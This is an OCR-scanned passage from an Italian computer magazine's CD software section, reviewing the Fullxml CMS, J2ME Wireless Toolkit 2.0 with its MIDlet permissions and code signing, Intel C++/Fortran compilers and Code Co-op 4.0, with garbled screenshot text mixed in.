ganizzare, con vario ordine di priorità, le modifiche da apportare
al sito. Non meno importante è la scheda Modemtion della consol-
le di amministrazione nella quale troviamo, fra le altre, la voce
Members (Fig. 12) che ci permette di configurare gli account per il
sito.
All'atto della creazione di un nuovo account, scegliamo lo pseu-
donimo, la password, l'e-mail e la città, lo stato (che può essere "vi-
i»""'
Itti» Iti ht
p://ldpalhast/FullxmlEieta 2.3/default.asp>ACP=lo5ECT=M8fdd=aew
da» 1=
pllegameati "
1 M*T~
-
p]0 .. ,
Add-ons
_y\® Member manager
Moderation
1 p d
E,,
m
pa " wo,d:
Ema,l: paal D d@admastarit
cit * : Pdtenza
i„B,, a
...„.„.: | Y „ Jj
|..mi,i».,.r d
»
Fig. 12: La voce Members della scheda Moderation ci permette
di configurare gli account per il sito.
sibile" o "non visibile"), se l'account è iscritto alla newsletter del si-
to, e la categoria di appartenenza scelta fra membro, autore e ammi-
nistratore. Infine, si fa apprezzare l'area Statistiche (Fig. 13), che per-
mette di visualizzare, in modalità testuale o grafica, il numero di
visitatori e di pagine visitate per ogni giorno, oltre a fornire infor-
mazioni sul browser dell'utente.
Fig. 13: L'area Statistiche permette di visualizzare, in modalità
testuale o grafica, il numero di visitatori e di pagine visitate
ogni giorno, oltre a fornire informazioni sul browser dell'utente.
CONCLUSIONI
Non possiamo non apprezzare, considerata soprattutto la gratuità
del prodotto, la completezza e la facilità di amministrazione offer-
te da questo strumento Open Source. Si fa particolarmente ap-
prezzare anche la scelta di basare la gestione dei contenuti intera-
mente su XML, scelta che apre ampie prospettive di porting di
questo progetto a dispetto della scelta di realizzare l'ossatura sulla
base di tecnologie proprietarie Microsoft.
Rispetto a quelli che sono i riferimenti nel campo del Content Ma-
nagement (i vari Vignette, Documentum, Interwoven) notiamo solo
una maggiore difficoltà nell'impostare template personalizzati per
le pagine, operazione che, come spiegato all'inizio del paragrafo
"Il Content Management del sito" , richiede ancora la modifica del co-
dice contenuto in file XSL.
Non è inoltre difficile ipotizzare, sempre nei confronti dei leader di
mercato, una difficile scalabilità verso il Content Management di
siti di grandi dimensioni (nell'ordine delle migliaia di pagine); Ful-
lxml è di converso una scelta di sicuro interesse per siti di medio-
piccole dimensioni e, se l'orientamento è verso i Web Server della
Microsoft, lo Storage dei contenuti del sito in XML apre uno scena-
rio in cui è possibile avere il solo front-end del proprio sito su mac-
chine Windows, laddove la logica di back-end può tranquillamen-
te risiedere su più economiche macchine Linux.
Paolo De Nictolis
http ://www.itport al.it
9 9
3 ►►► 17
IL SOFTWARE SUL CD ► ► ► ► ► ► ► ► ► ► ►
J2ME Wireless Toolkit 2.0
Una analisi delle novità del tool
Il J2ME Wireless Toolkit 2.0 è un package
pensato per creare e testare applicazioni
MIDP (Mobile Information Device Profile). Le
dimensioni sono pari a 9,4 Mb, ed è neces-
sario avere già installato il JDK 1.4. Il sup-
porto alla versione 2.0 di MIDP (http://wire-
less.java.sun.com /midp/articles/midp20/) co-
stituisce la prima, ma non certo l'unica, no-
vità della versione 2.0, che permetterà agli
sviluppatori di usufruire di nuove feature
come il supporto ad HTTPS, una serie di
API (Application Programming Interfaces)
per lo sviluppo di applicazioni multime-
diali e giochi, miglioramenti apportati al
layout delle form, la rappresentazione di
immagini come array di interi (che permet-
te alle applicazioni MID, le cosiddette
MIDlet, di manipolare direttamente le im-
magini, ad esempio applicando filtri nu-
merici), la firma digitale del codice MID,
un registro push che permette alle MIDlet
di gestire connessioni di rete, il supporto
per le suonerie e l'esecuzione di dati audio
campionati. Oltre agli strumenti base per
creare applicazioni che fanno uso delle
MIDlet, il toolkit fornisce allo sviluppatore
una serie di strumenti per settare i permes-
1 ti IUM,i,l,«.Aflll.ARRB!^^^M -Inlxi
MIDlet
VM e. m
II
■ Exit ShowJHide
1 ^K^Z-^J 1
^jMjjJ^
1 ^^ ^fgt ^jfir M
■ ^1^^ ^4y£ ^jrtr m
■ X|J^ ^JjTA CyflHr J
SHIFT SPACE J
si sulle MIDlet create, per applicarvi una
firma digitale, e per lavorare con i domini
di protezione. Gli utenti alle prime armi
con lo sviluppo di applicazioni mobile ap-
prezzeranno la facilità d'uso dell'interfac-
cia grafica, laddove gli sviluppatori esperti
usufruiranno di strumenti potenti per lo
sviluppo ed il testing del codice MIDP. La
novità più ovvia della versione 2.0 è l'ag-
giunta di nuove skin per l'emulatore di ter-
minale mobile (Fig. 1). L'emulatore è stato
adeguato all'evolversi della tecnologia:
mentre nelle versioni 1.0 del Wireless
Toolkit lo schermo aveva dimensioni 96 x
128 pixel ed era in scala di grigi, con la ver-
sione 2.0 le dimensioni sono cresciute a 180
x 208 pixel e lo schermo è a colori. E neces-
sario precisare che le specifiche MIDP 2.0
prevedono una dimensione minima per lo
schermo di 96 x 54 pixel. Inoltre, è suppor-
tata una skin di emulatore completamente
nuova, il QwertyDevice, che comprende
uno schermo a colori 640 x 240 pixel dota-
to di una tastiera simile alla Qwerty del
computer, utilizzato per sviluppare appli-
cazioni per i communicator (come quello
prodotto dalla Nokia), che costituiscono il
dispositivo di livello immediatamente su-
periore al cellulare.
Preferences for:
Storage API Availability
p Core MIDP API
p Wireless Messaging API (ISR120)
F Mobile Media API (JSE135)
Fig. 1: l'emulatore di terminale mobile
del Wireless Toolkit 2.0 supporta uno
schermo 180 x 208 pixel a colori.
Fig. 2: è possibile limitare il supporto di
API multimediali onde alleggerire il
codice.
MULTIMEDIA
Accennavamo in apertura come una delle
novità di MIDP 2.0 sia la possibilità offerta
allo sviluppatore di eseguire dati audio
campionati. Le API audio in MIDP 2.0 so-
no un sottinsieme delle Mobile Media API
1.0 (MMAPI), un package opzionale per la
gestione di applicazioni audio/video. Le
MMAPI sono definite nel documento JSR
135 (http://jcp.org/en/jsr /detail?id=135), frut-
to della comunità di sviluppo Java; il sot-
tinsieme delle API audio contenuto in
MIDP 2.0 è noto anche come Audio Building
Block (ABB). Il Lettore interessato potrà ap-
profondire la propria conoscenza di MMA-
PI all'URL http://wireless.java.sun.com/apis
/articles/mmapi_overviewj '. Di default, il
J2ME Wireless Toolkit 2.0 supporta l'intera
specifica MMAPI 1.0; se si vuole limitare il
supporto all' ABB di MIDP 2.0, per non ap-
pesantire troppo il proprio codice è suffi-
ciente scegliere Preferences nel menu Edit,
selezionare la scheda API Availability e ri-
muovere il segno di spunta dalla voce Mo-
bile Media API (JSR 135) (Fig. 2). L'MMAPI
è uno strumento assai flessibile, suppor-
tando una vasta gamma di contenuti, pro-
tocolli e capacità di recording: è possibile
controllare queste opzioni utilizzando la
scheda MMedia nella finestra di dialogo
Preferences (Fig. 3).
■. Audio Missine
J.
Fig. 3: è possibile controllare sin nei
minimi dettagli il supporto ad
applicazioni multimediali.
CONNETTIVITÀ
Per quel che concerne la messaggistica
SMS (Short Message Service), questa è ge-
stita dal package opzionale WMA (Wireless
Messaging Architecture, definita nel docu-
mento JSR 120, http://jcp.org/en/jsr /detaillid
=120). Un'introduzione a WMA è disponi-
bile all'URL http://ivireless.java.sun.com
jmidp/articles/wma/. L'emulatore del J2ME
Wireless Toolkit 2.0 supporta la versione
1.1 di WMA.
Anche in questo caso, il supporto può es-
sere disabilitato tramite la scheda API Avai-
lability (si faccia sempre riferimento alla
18 ►►► M a g g
3
http ://www.itport al.it
F T W
Preferences for:
*1
Network ConfiEuraiion
Storage API
Phone Number of Next Emulator
jiration HprtnrmarLce | Monitor
Avàilibility WMA MMedia Security
SMSC Phone Number
: |+1 234567390
First Assigned Photie Number : +5550000
I r i i i i i i i i i i i i i i i i i i ] S"A Random Message Fragmsnt Loss
20 40 60 SO 100
Me55age Fragment Delivery Delay (ms): |1 80
The changea will tate efFect the next time the emulator is eKecuted
OK
Cancel
Fig. 4: è possibile controllare sin nei minimi dettagli il supporto a WMA.
Fig. 6. Ogni MIDlet viene inserita in uno
specifico dominio di protezione sul dispo-
sitivo; un dominio di protezione determina
se un permesso deve essere concesso o ne-
gato. L'emulatore del J2ME Wireless
Toolkit 2.0 comprende un'implementazio-
ne dell'architettura di sicurezza dei domini
di protezione descritta nelle specifiche
MIDP 2.0. A puro scopo di testing è possi-
bile scegliere il dominio di protezione a
runtime dalla scheda Security della finestra
Preferences. L'emulatore comprende quat-
tro domini di protezione:
• untrusted, in cui tutti i permessi sono
negati o rinviati alla scelta dell'utente.
Ad esempio, con una semplice MIDlet
che instaura una connessione HTTP,
comparirà un prompt che consente al-
l'utente di permettere o negare la con-
nessione.
Fig. 2); inoltre, la scheda WMA nella mede-
sima finestra consente di personalizzare il
comportamento dell'implementazione del-
la WMA (Fig. 4).
Il toolkit comprende anche un'utility, la
WMA Console (Fig. 5), che permette allo
sviluppatore di inviare messaggi di testo
all'emulatore; si selezioni il comando File/
Utilities... e, nella scheda WMA, si faccia
click su Open console.
Fig. 5: una piccola utility, la WMA
Console, permette di inviare messaggi di
testo all'emulatore.
Questo tool facilita l'invio di messaggi a di-
verse istanze dell'emulatore, dalla console
ad un emulatore, o in broadcast a tutti gli
emulatori in esecuzione. E possibile, anche,
utilizzare il registro push per "catturare"
tutti i messaggi in arrivo e smistarli alla
MIDlet appropriata. Il Lettore interessato
potrà migliorare la conoscenza del suppor-
to a WMA grazie all'applicazione di esem-
pio SMSDemo inclusa nel J2ME Wireless
Toolkit.
SICUREZZA
Il JAD del proprio set di MIDlet dovrebbe
comprendere i permessi appropriati; al-
l'uopo, MIDP 2.0 definisce gli attributi
MIDlet-Permissions e MIDlet-Permissions-
opt (i permessi opt sono quelli assolutamen-
te necessari per eseguire la propria applica-
zione). Tutti i permessi definiti nelle speci-
fiche MIDP 2.0 sono correlati a varie moda-
lità di accesso alla rete: è possibile creare
dei package opzionali onde definire tipolo-
gie di permesso aggiuntive laddove è ne-
cessario. Con la versione 2.0 del J2ME Wi-
reless Toolkit viene enormemente semplifi-
cata l'aggiunta degli attributi di permesso
al JAD: è sufficiente cliccare sul pulsante
Settings... e selezionare la scheda Permis-
sions. Ciccando su uno dei pulsanti Add. . .
sarà poi semplicissimo selezionare un tipo
di permesso da una lista, come mostra la
Fig. 6: Il J2ME Wireless Toolkit 2.0 rende
semplicissima l'operazione di settaggio
dei permessi per una MIDlet.
• trusted, che setta ad allow (permesso)
tutti i permessi di rete e del push regi-
stry.
• minimum, che setta a deny (negato) tut-
ti i permessi di rete e del push registnj.
• maximum, che setta ad allow (permes-
so) tutti i permessi.
Quando si sviluppa un'applicazione utiliz-
zando il toolkit, l'applicazione viene ese-
guita nel dominio di protezione seleziona-
to. Nel mondo reale, le applicazioni vengo-
no installate nei domini di protezione sulla
base dell'implementazione dell'architettu-
ra di sicurezza delle specifiche MIDP 2.0
adottata dal dispositivo. Il J2ME Wireless
Toolkit 2.0 comprende inoltre un'imple-
mentazione che installa insiemi di MIDlet
firmate digitalmente in un set di domini di
protezione, sulla base di un certificato. Na-
turalmente, il toolkit comprende anche gli
strumenti che permettono di firmare le
MIDlet. Altrettanto naturalmente, firmare
una MIDlet è un'operazione che ha poco
senso se i dispositivi client su cui la MIDlet
sarà eseguita non possono verificare la fir-
ma; nel mondo reale la MIDlet è accompa-
gnata da un certificato di una trusted
authority mentre per testare l'applicazione
il Wireless Toolkit mantiene una lista di cer-
tificati accettati dall'emulatore onde verifi-
care le firme delle MIDlet. E possibile mo-
dificare tale lista tramite le utility del
toolkit; da File /Utilities, basta scegliere la
scheda Security e ciccare sul pulsante Ma-
http ://w ww.it portal.it
9 9
3 ►►► 19
w
jnjxl
File Action
GpenKeystore..
Certificate List
Import Certificate..
J2ME KeyDetails
C=US;0=RSÀ Data Secutity, Inc., OU= Se cura Server
CN=Sun Microsystems Ine TEST CA,0=Sun Micron
CN=thehost£U=JCT,0=dummyCA;L=Santa Clara;
C=ZA£T=WestemCape;L=Cape Town,0=Tnawte
C=USp=VeriSign, Inc.;OU=Class 3 Public Primary (
C=ZA£T=WestemCape;L=Cape TownP=Thawte
C=ZA£T=WestemCape;L=Cape Town;,0=Thawte
C=USp=VeriSign, Inc.;OU=Class 4 Public Primary (
C=TISp=VeiiSigH, Inc.;OU=Class 1 Public Primaryt
C=ZÀ^T=We5temCape^L=Cape Town;,G=Thawte
C=USP=VeriSign, Inc.;GU=Clas5 2 Public Pnmary <
0=Veri£ign Trust Network ;OU= Ve riSign, Inc.;C l U=\
0=Sun Microsystems ;C=rtiy5 e rver
Ouner: C=ZA;ST=uJest.ern Cape;L=Cape Toun;0=Thai
Valid from Sun Dee 31 19:00:00 EST 1995 to Thi
Security Domain: untrusted
il
jJU-
Fig. 7: il J2ME Certificate Manager permette di gestire i certificati digitali utilizzati a
scopo di test durante lo sviluppo.
nage Certificates, operazione che avvierà il
J2ME Certificate Manager (Fig. 7). E possi-
bile utilizzare questo tool per visualizzare e
gestire i certificati di root mentre si sta te-
stando la propria MIDlet in un emulatore;
naturalmente, all'atto del rilascio della
MIDlet sarà necessario fornire un certifica-
to valido, acquistato da una root authority.
Per firmare un insieme di MIDlet, è suffi-
ciente cliccare sul comando Project/Sign:
comparirà la Sign MIDlet Suite, che elen-
cherà tutte le chiavi disponibili per la firma
(Fig. 8).
LnJ^J
J2SE Key Defedi
m, 0= Jonathan Khudsei
ila, 0= Jonathan Khudsei
;:*£'■ 3 te v.: '■
Issi . ■ ■ ,■. ■ ■■■■..
Sedai numner.: 3elfldfa
Valid from Fri Jan 10 14:24:42 E3T 2003 to Thu Apr
!.':';;.'. ■:.:■;. ! . : .'. ;.'!:.•■ <i_ : .»i.j~r.pì_J >.ì.t.r- :
HDS:
57:41:c3:42:34:dd:77:9e:38:ee:10:bf : 34: 67 : 3a: 2a
i4:I.l.i66: hv\ ■:n.:26:^\&y.-Sj\ ;c:ce:i^: ji\ az:%: iddidO:
J
Fig. 8: la firma digitale di una MIDlet è
un'operazione alquanto semplificata dal
J2ME Wireless Toolkit 2.0.
Quando si chiede a questo tool di creare
una coppia di chiavi, verranno richieste al-
l'utente le consuete informazioni dettate
dallo standard X.509 da inserire nel certifi-
cato corrispondente (Organizational Unit,
Business Unit, paese di appartenenza e co-
sì via). È necessario inoltre stabilire il do-
minio di protezione in cui saranno esegui-
te le MIDlet. Il certificato così generato è
"autofirmato" (self-signed), e viene auto-
maticamente aggiunto alla lista di certifica-
ti del toolkit; sottolineiamo ancora una vol-
ta che un simile certificato non verrà rico-
nosciuto da un dispositivo reale. Firmando
la MIDlet, verrà aggiunta una coppia di
nuovi attributi al JAR che contiene l'insie-
me di MIDlet che costituisce l'applicazio-
ne, la firma stessa ed il certificato; l'opera-
zione è del tutto trasparente all'utente ma,
se si vuole verificare quello che succede,
basta aprire il file JAD in un editor di testo:
il risultato sarà simile al seguente:
MIDIet-Certificate-l-l:
MIIB5DCCAU0CBD4fHfowDQYJKoZIhvcNA\
QEEBQAwOTEZMBcGAlUEChMQSm9u
YXRoYW4gS \
251ZHNIbjEcMBoGAlUEBhMTJaFw0wMzA0MTA\
wglIR+gcJnQKWfPv2M4VGZpFShCSKzOs=
MIDIet-Jar-RSA-SHAl:
IWHoiylUr0AgM0ZrI/Y46a0hMYUO81Kf6yiI \
lsXi3g4Ubv2gqC4p7VWyF0c6EWYtqpSYgLOV\
/UdSNuADEIcg0QBkTcc0GOfl+ZxQiJRNh/oG \
4LfCpPJ+y3zL)fkPwSJw7+7P4McRiXSpqrBLo \
USUTa9ZTwV5oB7AUpCcm2U+yxg4=
Il toolkit codifica sia la firma che il certifi-
cato usando la codifica base64, che costitui-
sce un modo efficace per rappresentare da-
ti binari utilizzando caratteri.
EMULAZIONE
È da sottolineare come la ricchezza di nuo-
ve caratteristiche introdotte dalle specifiche
MIDP 2.0 rendono il test di installazione
delle proprie MIDlet importante quanto il
test di runtime. L'emulatore si dimostra al-
l'altezza del compito anche in questo.
Quando è necessario testare il semplice
comportamento a runtime, come nelle ver-
sioni precedenti basta ciccare su
Project/Run (o sul pulsante Run): l'emula-
tore caricherà le classi direttamente dal
CLASSPATH, le MIDlet non saranno pac-
chettizzate e non sarà possibile testare al-
cune caratteristiche dell'applicazione come
il registro push e la firma delle MIDlet. Per
testare queste caratteristiche è disponibile
una funzione del tutto nuova, il comando
Run via OTA nel menu Project. OTA sta,
naturalmente, per Over-The-Air. Questa
opzione avvia in esecuzione l'Application
Management Software (AMS) dell'emula-
tore, e permette di gestire le MIDlet instal-
late su di un dispositivo. L'AMS usa la ver-
sione pacchettizzata più di recente di
un'applicazione, e permette di simulare
sull'emulatore il processo di installazione.
Nel corso di tale processo, l'emulatore veri-
fica le MIDlet firmate digitalmente e le in-
serisce in esecuzione nel dominio di prote-
zione appropriato. Una volta che le MIDlet
sono state installate, l'emulatore è in grado
di "catturare" le connessioni di rete in arri-
vo ed attivare le MIDlet che hanno regi-
strato tali connessioni nel registro push.
Scegliendo il comando Run via OTA, ven-
gono mostrate le MIDlet installate (Fig. 9).
r
*' WirelessJava
** wj2
\1r Permissive
Back
Menu
Fig. 9: la lista delle MIDlet installate
disponibili nell'Application Management
Software.
Scegliendo Instali Application, si vedrà co-
me le MIDlet vengono eseguite sul localho-
st: il Wireless Toolkit dispone infatti di una
implementazione ridotta di un server OTA.
E sufficiente accettare l'URL proposto per
dare inizio all'installazione dell'applicazio-
ne.
Paolo de Nictoìis
20 ►►► M a g g
3
http ://www.itport al.it
w
Compilatori Intel per Windows
Le nuove versioni dei compilatori C++ e Fortran di Intel permettono di
sfruttare pienamente le maggiori prestazioni derivanti dalla Hyper-Threading
Technology.
La tecnologia Hyper-Threading di Intel
permette ad un singolo processore di
elaborare dati come se sulla macchina insi-
stessero due processori, eseguendo le elabo-
razioni da thread differenti in maniera pa-
rallela anziché sequenziale. I processori che
abilitano la Hyper-Threading Technology
possono aumentare le prestazioni delle ap-
plicazioni che abbiano un elevato grado di
parallelismo. I nuovi compilatori di Intel
permettono di generare codice compatibile
con tale tecnologia e, di sfruttare appieno il
relativo incremento di prestazioni.
CALCOLO PARALLELO
E VANTAGGI
I compilatori Intel sono provvisti di diretti-
ve, per il software pipelining, loop unrolling
e data prefetching, che forniscono informa-
zioni tese ad aumentare l'ottimizzazione del
codice relativo all'applicazione compilata.
È previsto il supporto ai maggiori standard
quali ANSI C/C++ e ISO C/C++. Il vero
punto di forza dei nuovi compilatori è nella
capacità di sviluppo e di ottimizzazione per
applicazioni multi-thread attraverso il sup-
porto allo standard OpenMP 2.0 per C/C++
e Fortran. L'API di OpenMP (iviuw.OpenMP
.org) supporta la programmazione shared-
memory parallel multi-piattafoma (Linux,
Unix, Windows, ecc.), nei linguaggi C/
C++ e Fortran, su qualsiasi architettura.
Definita all'interno di un gruppo costituito
dai maggiori produttori di hardware e di
software, OpenMP è un modello portabile e
scalabile che fornisce un'interfaccia semplice
^ File Edit View Execute Confi qui e Window Help
^ISJxJ
^JffJxJ
«KM *|*
ili «MI "3 «lffljr]| uliàlalsl
P|©| f| ■|M|R|^|ifr||
■|<»|à|n|H
^| |main_thread_Benchmark.e>ie zi l=li-|llìl| < + >| <H
Control
Output
Exceptions
L BkLd
D : \Esempi j.
Enabled |Name (Action IlD
ije'ired
-
Benchinark
Benchmark
B ai eh uà r k
Benchinark
Benchmark
Benchmark
Benchmark T |
3 1 ContiolC Stop if not handled 0x40010005
B Control Break Stop if not handled 0x4001 0008
System
System
J
B Data ty pe M isalignnn... Stop if not I
_B Access Violation Stop if not r
B I In Page Error Stop if noti
B Invalid Handle Stop if noti
B [No Memory Stop if not h
andled 0x800000 12
andled OxcQOQQOQS
System
System
andled OxcOOOOOOE
andled OxcQOQQOQS
andled OxcOOOOOl
System
System
System
Ull 2l
llleaal Instruction Stoc if not handled 0xcO0OO01 d
^^^^^^^^=|
JL
Disassernbly
Address | Instruction
1 File and Line
Qx0040a956 push ebp
0x0040a957 rnov ebpj esp
rjxuQ4Qa959 push -1
OxOQ40a95b push 0x43dS93
OxOO40a96O push 0x40ed80
0x0040a9ó5 mov eax, DWORD PTR fs:[0x0]
0x0040a96b push eax
0x0040a96c mov DWORD PTR fs:[0x0L esp
0x0040a973 sub esp_, 0*58
0x0040a976 push ebx
No sre File
No sre : : iie
No sre file
No sre File
No sre File
No nie
No sre File
Mo sre lite
No sre File
No sre File
<i
1 iT
<l
..■■■. 32 Registers
Cali Stack
sax 00000000 J
ebK 7ffdfQQQ Zi
ecx 01010101
edx f f f f f f f f
ebp 0012fff0
631 77124394 »j
■+ Benchmark . ese ! QhQI
40aS56
«I 1 M
Bendirriark.exef.
J
For Helpj press FI
| |lnst 1 32 y<\
Fig. 1: L'interfaccia dell'Enhanced Debugger Intel, fornito con l'installazione del
compilatore.
Come installare i compilatori
sì
1 Intel® C++ Compiler 7.0 for Windows*
■ n " v 'j" ""■-'--- <-<■' i—'-^n.- .Mi-J.irf,-n
:££s.^ 1
-;:'^z:-;::-:ì:
rSS.
:zt":z":
;§—
; l'.fj! .>"";,; il 1 r^V,;. l*AV, 7„z viir 1
^^
•
— »-"« ~
:Z«ZZ
"""•• •~;::.",7, n ::;,."i" l- " lc "
^y***" .
. BM.ni Editati...!
( °"" J
:_.■,:,,■...:■,,,,,,:
Sin™.
QPer ottenere la password di instal-
lazione è neccesario avviare la proce-
dura di download del sul sito della Intel
www.intel.com/software/products/compil-
ers/, scegliere il compilatore si desideriamo
installare (ad esempio INTEL C++ 7.0 per
Windows) e cliccare sul pulsante Download
B Compilare il modulo con i nostri dati,
con particolare cura all'inserimeento
corretto dell'indirizzo e-mail. Al fine di com-
pletare l'installazione del software, ricever-
emo una e-mail contenente il file di licenza
{.He) da salvare nella cartella C:\Program
Files \ Common Files \ Intel \ Licences.
||TJMIII,H«— MI
Change,,, |
Help | Disk Space | _
I **> I
HNon è necessario continuare la proce-
dura con il download del pacchetto:
lo abbiamo già sul 2°CD! È sufficiente lan-
ciare il setup e, una volta ciccato il pulsante
Instali Now, selezionare il file relativo alla
licenza salvato in precedenza e scegliere i
componenti che vogliamo utilizzare...
http ://www.itport al.it
g g
3 ►►► 21
F T W A
e flessibile per lo sviluppo di applicazioni
parallele per piattaforme che vanno dal de-
sktop al supercomputer.
CARATTERISTICHE
I compilatori Intel C++ 7.0 sono progettati
per funzionare al meglio con processori Intel
a 32-bit, compresi Pentium 4, Xeon, Itanium
e Itanium 2, migliorando le funzioni di otti-
mizzazione, quali la vettorializzazione e le
Streaming SIMD Extensions 2 (SSE2) per
IA32, ecc. . . I compilatori offrono anche op-
zioni (GÌ, G2) di ottimizzazione specifiche
per i processori Itanium e Itanium 2, per
trarre vantaggi da questa particolare archi-
tettura. Infine, i compilatori migliorano la
compatibilità del codice sorgente prodotto
con Microsoft Visual Studio 6 e Microsoft Vi-
sual Studio .NET.
FUNZIONAMENTO
I compilatori sono progettati per funzionare
in maniera console, cioè "a riga di coman-
do". Tuttavia, il compilatore C++ viene in-
stallato come plug-in di Microsoft Visual
C++ 6.0 e/o di Microsoft Visual C++ .NET,
fornendo una serie di funzionalità piena-
mente compatibili anche con l'ambiente Vi-
sual Studio 6.0 o Visual Studio .NET, secon-
do i casi. Il compilatore Fortran, invece, for-
nisce una serie di funzionalità compatibili
con Microsoft Visual Studio .NET
Effettuate le impostazioni (vedi box in bas-
so), l'uso del compilatore Intel all'interno di
Visual Studio è del tutto trasparente al pro-
grammatore, giacché l'ambiente di pro-
grammazione provvede alla generazione di
tutte le direttive di ottimizzazione a partire
dalle impostazioni di progetto (Finestre
Project /Settings e Tools/Select Compiler).
Inoltre, grazie all'utilizzo del compilatore In-
tel, le applicazioni generate con Visual Stu-
dio possono godere di maggiore compatibi-
lità con i processori Intel, e beneficiare del-
l'aumento di prestazioni derivante dalla tec-
nologia Hyper-Threading.
CONCLUSIONI
I compilatori Intel, per quanto abbiamo visto
sopra, sono ideali per l'ottimizzazione di ap-
plicazioni pensate per funzionare su sistemi
basati su processori Intel. Per trarre maggio-
ri vantaggi dalla tecnologia Hyper-Threa-
ding, però, non basta solo usare questi com-
pilatori. Occorre concepire le applicazioni te-
nendo conto della possibilità per il processo-
re di poter "parallelizzare" i processi. Solo
così si possono ottenere risultati significativi.
Non ci resta che ricordarvi di effettuare la re-
gistrazione sul sito di Intel per godere del
periodo (30 gg.) di valutazione delle demo
contenute nel CD-Rom.
Requisiti hardware
Per lo sviluppo di applicazioni IA-32:
Sistema basato su processore Intel
Pentium (Intel Pentium 4
raccomandato) o superiore; Intel
Xeon or superiore.
128 MB di RAM (256 MB di RAM
raccomandati).
100 MB di spazio su disco.
Per lo sviluppo di applicazioni per
sistemi Itanium
Sistema basato su processore Itaniun
or superiori (Itanium 2
raccomandato)
512 MB di RAM (1 GB raccomandato).
100 MB di spazio su disco.
_r]| (Ali globalmente^] T]| » ElaboraDalil
"Halite a fi ! il «
■.:.,.
B [pi Benchmaik files
B-£3 Source Files
iti] Benchmerk.cpp
-- Q Benchmark.ro
»] ■■■ ■ . .■'■:■
- £) E labor azione, cpp
;K1 M air Firn, cpp
■:■: ! i : I i j i
■■I] Slttofx.cpp
É-QHeedei Files
11 Benchmark.li
■■■ j| BeiìchmarkDoc.h
--I) BenchniarkVìew.h
■■1 E labor azione, h
S\ Mjit'i 1TÌ-: h
- |y NumO per azioni h
■■■ 1 Resrjurce.h
Sj StdAfx.h
É-Q ResoLirce Files
M FleadMe.tKt
+■ | E ylem al Depende noie 5
UINT ElaboraDatil(LPTOID P Pa:
: : HflitForSingleObject ( InisioCalcolol . m_hObject , INFINITE) ;
volatile UINT t:
volatile UINT ].
volatile UIHT kj
Hatll = ne» double*[NumEleTn.entil] ;
Matl2 = ne? double*[KumEleifLentil] ;
Prodottol = new doublé* [HuinElenient i 1 ] :
for Ci=D; i<Ha»Elsi]iBistil; i++)
ii ( : :WaitForSiiiqli.=Ob;ect ; FiiisCalcolol . m_li0bj ect .
,
Matll[i] = :
Hatl2[i] = :
Prodottol [i
Countl++.
■ doublet NuraElement il];
■ double[KuKiElementil] j
new double[NumElein.entil] ;
Fìg. 2: Compilazione di un progetto attraverso l'utilizzo del compilatore Intel all'interno
di Microsoft Visual C+ + . Nella finestra Build, in basso, possiamo notare la chiamata al
compilatore (icl nomefile.cpp).
Uso in simbiosi con Visual C+ +
=
*^.n-l->-i-
QSe vogliamo che per l'intero progetto
venga utilizzato il compilatore Intel
C++ 7.0 per Windows, selezionare la voce
Tools/Select Compiler e spuntare le casel-
le che ci interessano (IA -32 e/o Itanium
compiler). Così facendo Visual Studio uti-
lizzerà il compilatore Intel per tutti i file.
""■ "■"' '-"^ '-
QPer escludere un file dalla compila-
zione Intel, selezioniamo la voce
Project /Settings; scegliamo il file e, nel
tab C/C++, aggiungiamo la macro
USE_NON_ INTEL_ COMPILER nel campo
Prepocessor definitions. Visual Studio uti-
lizzerà il proprio compilatore per quel fine.
à sai fci- -■ -- rosw »P5s
iki.« . .«1
■ ! -
. a «'""■"■
fi
;'"™"|S^5^
~^ 3 1
I
ir
ìrjSTX
""'• — * f=- 3
1'^ ^^_ a
lei™
"T;^^zz^.^...^
»--l L.^.X»
E.-H l«— IJ~=-I«<-
Ij— i J .*,ia»«..iB=:
»*HiS «»
HSe vogliamo, al contrario, che l'intero
progetto sia compilato normalmente
e che il compilatore Intel agisca su un solo
file, scegliamo il file e aggiungiamo la macro
USE_ INTEL_COMPILER nel campo Prepo-
cessor definitions. Il compilatore Intel verrà
lanciato per la compilazione di quel file.
22*** M
g g
3
http ://www.itport al.it
► ► ► ► ► ► ► ► ► ► ► IL SOFTWARE SUL CD
Code-Co-op 4.0
Sviluppa in team le tue applicazioni.
Code Co-op 4.0 è un programma che
consente di sviluppare applicazioni
in C++, Java, HTML... Può funzionare
in modalità distribuita senza la neces-
sità di utilizzare un server. Supporta
non solo la collaborazione tramite Lan,
ma anche via e-mail. In tal modo è pos-
sibile collaborare ad un progetto pur
non risiedendo nella stessa area geogra-
fica e, soprattutto, senza la necessità di
installare un server!
Youhave31: '.làtion period.
license informalion now. or k*> ■ ■ :
produci
Yi&:HwS SeiiSÌ NlTi'jb-::
License Key (case sensitive]:
Don'l show this dialog or staitop
EnlerLicen;
Boy Lic
nlhaWEB | Keep Evaloaling |
Fig. 1: Da questa finestra si può scegliere
di utilizzare la versione trial del
programma.
Grazie all'uso di appropriati messaggi
di posta elettronica, è possibile ottenere
la sincronizzazione dei sorgenti persino
tra postazioni che non sono costante-
mente connesse in rete. Si integra con
strumenti di sviluppo quali Microsoft
Visual studio, Borland Delphi, C++
Builder, Allaire ColdFusion ed altre ap-
plocazioni che utilizzano le API SCC
della Microsoft. Appena si lancia l'ap-
plicazione, compare la finestra rappre-
sentata in Fig. 1. Per scegliere di utiliz-
<£► Code Co-op
Program Q History View Folder Ali Selection Help
Files 1 (
Visir... .
Repair
Move...
Add More Files...
■■neh Area | History J Projects |
<3|S|
xU|Ha|tt| @H*
i
jJThere
Join. . ,
Invite. . .
Defe^t (Df
. .. !•., ,v Pr...
Members...
Administrator...
Properties. . .
Select Project Files
Total: G8 files selected
File extensions —
Showing files with eKtension '.cpp'. There are 24 files with this extension.
C: VT estProjectWudioWudioFile. cpp
estProjectWudioV^udioO ut. cpp
i_. 1 1 estProjectWidio\BufferedD evice, cpp
C: \T estProject WidkAFft. cpp
C: VT estProject WidioM rnagePlayer. cpp
estProjectWidio\OldV\udioln.cpp
i_:\ i estProjectWidio\Old\SampleSink.cpp
r- v T orfPm!»* ^ u dio\0 ItftS ampleS re. cpp
Ujdio\Old\WaveFileln.cpp
estProjectWudio\Wavi
LAI estProjectWudio\Waveln.cpp
C: \T estProjectWudio\WaveO ut. cpp
'" ict\Control.cpp
'rocedure.cpp
I u:\i estrro|ec[\LiD\Active.cpp
CATestProjectMJb^Controls.cpp
| C:\TestProject\Lib\Dir.cpp
rocedure.cpp
I L:\l estPro|ect\Lib\Windass.cpp
C: VT estProject\Lib\WinM aker. cpp
ct\Main.cpp
Select Ali
DeselectAII
0K
